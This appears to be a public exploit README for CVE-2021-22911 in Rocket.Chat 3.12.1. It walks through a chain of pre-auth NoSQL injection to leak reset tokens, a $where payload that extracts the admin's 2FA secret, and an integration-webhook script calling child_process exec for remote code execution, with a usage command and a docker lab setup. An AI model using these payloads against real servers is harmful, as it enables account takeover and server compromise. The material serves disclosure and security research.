CVE-2021-22911
Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1
- The getPasswordPolicy method is vulnerable to NoSQL injection attacks and does not require authentication/authorization. It can be used to take over accounts by leaking password reset tokens. Taking over an admin account leads to Remote Code Execution.
Explanation
- Hijacking user's account ( Unauthenticated )
- There is NoSQL injection in getPasswordPolicy endpoint in password reset token parameter, which takes json object allowing us to use $regex operator. Which we use to perform blind nosql injection to get reset token.
- Privilege Escalation to admin ( Authenticated )
- So admin user is most likely to be protected by 2fa. So even if we change admin's password through (1) it will prompt for 2fa code on login.
- users.list api endpoint takes query parameter which is vulnerable to nosql injection. We are also able to retrieve data by throwing an error.
- We run the following query to get admin's 2fa secret :
{"$where":"this.username==='admin'+&&+(()=>{+throw+this.services.totp.secret+})()"}
- Next we just do (1) to reset admin's password and use the 2fa secret to generate code which we can use to login.
- RCE ( Autenticated - Admin )
- Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered.
- We create a integration with the following script :
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
- Next we just trigger the webhook to get rce :)
Usage
- You will need a low priv user's email who has no 2fa setup. ( -u )
- You will also need to know administrator email. Not a problem if admin is protected with 2fa. ( -a )
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
Environment
- Tested on Rocket Chat 3.12.1
- Building your own test environment using docker :
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
Credits
- https://hackerone.com/reports/1130721 ( sonar source )
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
Exploit-db
- Coming soon